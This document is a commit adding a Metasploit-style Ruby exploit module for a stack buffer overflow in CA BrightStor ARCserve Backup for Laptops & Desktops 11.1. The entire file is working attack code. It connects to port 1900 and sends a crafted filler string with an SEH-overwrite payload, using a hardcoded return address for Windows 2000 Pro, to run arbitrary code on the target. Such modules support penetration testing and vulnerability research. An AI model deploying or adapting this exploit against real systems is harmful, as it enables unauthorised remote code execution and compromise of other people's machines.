added exploit module lgserver.rb.

git-svn-id: file:///home/svn/framework3/trunk@4317 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/brightstor/lgserver.rb

@@ -0,0 +1,62 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Brightstor::Lgserver < Msf::Exploit::Remote
+
+	include Exploit::Remote::Tcp
+	include Exploit::Remote::Seh
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup
+				for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could 
+				overflow the buffer and execute arbitrary code.
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 3906 $',
+			'References'     =>
+				[
+					[ 'BID', '22342' ],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 600,
+					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
+					'StackAdjustment' => -3500,
+				},
+			'Platform' => 'win',
+			'Targets'  =>
+					[ 
+						[ 'Windows 2000 Pro English All',		{ 'Ret' => 0x75022ac4 } ],
+					],	
+			'DisclosureDate' => 'Jan 31 2007',
+			'DefaultTarget' => 0))
+
+			register_options([ Opt::RPORT(1900) ], self.class)	
+	end
+
+	def exploit
+		connect
+
+		filler = "0000016705" + rand_text_english(2322)
+		seh    = generate_seh_payload(target.ret)
+		sploit = filler + seh + "\x58" * 0x4141
+
+		print_status("Trying target #{target.name}...")
+         
+		sock.put(sploit)
+		handler
+		disconnect
+	end
+
+end
+end